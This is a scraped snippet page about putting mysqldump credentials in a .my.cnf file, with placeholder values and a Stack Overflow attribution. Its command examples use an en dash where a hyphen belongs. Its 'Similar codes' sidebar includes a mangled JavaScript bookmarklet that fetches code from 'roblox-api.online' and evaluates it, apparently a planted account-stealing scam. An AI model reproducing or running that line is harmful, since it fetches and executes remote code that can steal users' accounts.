Mysqldump password in file

Mysqldump password

add this to .my.cnf file
user can be omitted

[mysqldump]
user=mysqluser
password=secret

The -p option must be excluded from the command in order to use the password in the config file.
Correct:
mysqldump –u my_username my_db > my_db.sql
Wrong:
mysqldump –u my_username -p my_db > my_db.sql

Source: stackoverflow.com

Mysqldump password in file

[mysqldump]
user=mysqluser
password=secret

Source: stackoverflow.com

Similar codes

10 votes353 views1 answer
Oracle all_dependencies
SQL
0 vote333 views1 answer
Get all employees if name ends with in sql
SQL
0 vote381 views1 answer
Mysqli last row
SQL
4 votes336 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote372 views1 answer
Update sql sintax
SQL
2 votes350 views1 answer
Oracle index size calculation
SQL
10 votes385 views4 answers
SELECT FROM WHERE
SQL
0 vote357 views1 answer
Mysql count number of occurrences in a column
SQL
0 vote375 views1 answer
Drop specific row postgresql
SQL
0 vote351 views1 answer
Drop all tables db2
SQL